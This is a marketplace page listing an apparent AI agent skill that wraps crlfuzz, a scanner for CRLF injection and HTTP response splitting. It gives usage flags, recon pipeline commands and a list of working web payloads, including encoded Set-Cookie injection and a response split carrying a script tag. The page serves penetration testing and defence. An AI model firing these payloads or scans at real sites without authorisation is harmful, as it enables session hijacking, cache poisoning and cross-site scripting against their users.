Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/crlfuzzReverse engineering and fuzzing

crlfuzz

⁨Auth/lab ref: Specialized web fuzzing tool for CRLF injection and HTTP response splitting detection.⁩

v2026.11.13-21cd5683 installs+3 in 7 days39 StarsMITsynced 11 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/crlfuzz

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
TjsB1VdjPI…a4jPSjBA==The CLI checks the SHA-256 and the signature before it writes a file.
Package89af5548…27a64c3b
89af554827dd…b97527a64c3b1 file · ⁦2.1 KB⁩
ScanMedium3 findings
  • Link to a raw IP addressSKILL.md:36
  • Link to a raw IP addressSKILL.md:139
  • Links to outside domains
See the full scan
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/fuzzing/crlfuzz@21cd568

Fast CRLF injection scanner — header injection, response splitting, cookie injection.

Use crlfuzz for focused CRLF campaigns after endpoint discovery (ffuf, crawler, or traffic logs), not as a general web scanner.

Quick Start

bash
# Install (Kali)
sudo apt install crlfuzz

# Install via Go
go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest

# Single URL
crlfuzz -u "https://target.com/page?next=FUZZ"

# From URL list
crlfuzz -l urls.txt

# Pipe from other tools
cat urls.txt | crlfuzz

# With proxy (e.g., Burp)
crlfuzz -u "https://target.com/" -x http://127.0.0.1:8080

Core Flags

Flag Purpose
-u, --url <url> Target URL (place FUZZ at injection point)
-l, --list <file> File with URLs to test
-X, --method <verb> HTTP method (default: GET)
-d, --data <data> POST body data
-H, --header <header> Custom HTTP header (repeatable)
-x, --proxy <url> HTTP/SOCKS5 proxy
-o, --output <file> Save results to file
-c, --concurrent <n> Concurrency level (default: 20)
-s, --silent Silent mode (suppress banner)
-v, --verbose Verbose output

CRLF Injection Basics

CRLF = \r\n (ASCII 13 + 10). Injected into HTTP headers, it splits the response:

text
# Normal URL
https://target.com/redirect?url=/home

# Injected CRLF → splits response and injects headers
https://target.com/redirect?url=%0D%0ASet-Cookie:%20malicious=injected

# Response with injected header:
HTTP/1.1 302 Found
Location: /home
Set-Cookie: malicious=injected    ← injected line

Common CRLF Payloads

text
# URL-encoded CRLF
%0d%0a
%0D%0A

# Double-encoded
%250d%250a
%25%30%64%25%30%61

# Unicode
%E5%98%8A%E5%98%8D   (UTF-8 CRLF-like)

# Null + CRLF
%00%0d%0a

# Header injection payload
%0d%0aSet-Cookie:%20crlftest=injected;path=/
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

Impact Scenarios

Injection Point Impact
Location: redirect value Header injection, open redirect
Cookie Set-Cookie: header Session fixation, cookie poisoning
Content-Type: value XSS via response splitting
Cache headers Cache poisoning
X-XSS-Protection: XSS filter bypass

Pipeline Integration

bash
# Find CRLF-injectable URLs from recon results
cat live-hosts.txt | httpx -silent -path "/?next=FUZZ" | crlfuzz -s

# Combine with ffuf first for URL discovery
ffuf -w paths.txt -u https://target.com/FUZZ -o urls.json
cat urls.json | jq -r '.results[].url' | crlfuzz -l /dev/stdin

Manual Verification

After CRLFuzz reports a finding, confirm in Burp Repeater:

text
GET /redirect?url=%0d%0aSet-Cookie:%20test=crlfinjected HTTP/1.1
Host: target.com

Look for Set-Cookie: test=crlfinjected in the response headers.

  1. Start from candidate URLs where user input is reflected into headers (Location, Set-Cookie, custom headers).
  2. Run crlfuzz in moderate concurrency first (-c 20..50) to avoid rate-limit noise.
  3. Re-test findings through proxy (-x) and compare with clean control request.
  4. Confirm exploitability impact (header injection only vs full body split/XSS/cache poisoning).

Practical campaign examples

bash
# URL set from recon -> CRLF campaign
cat urls.txt | crlfuzz -c 30 -s -o crlfuzz-findings.txt

# Authenticated endpoint test
crlfuzz -u "https://target/app?next=FUZZ" -H "Cookie: session=VALUE" -H "Authorization: Bearer TOKEN" -x http://127.0.0.1:8080

False-positive reduction

  • Validate with at least two payload encodings (%0d%0a, %250d%250a).
  • Reconfirm on direct origin (bypass CDN/proxy when possible).
  • Require visible header mutation in response before escalating severity.

References

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesYesYes
Writes filesNoNo
Runs shell commandsYesYes
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. MediumLink · Link to a raw IP addressSKILL.md:36
  2. MediumLink · Link to a raw IP addressSKILL.md:139
  3. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.11.13-21cd568Nov 13, 202621cd56889af5548Signed–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login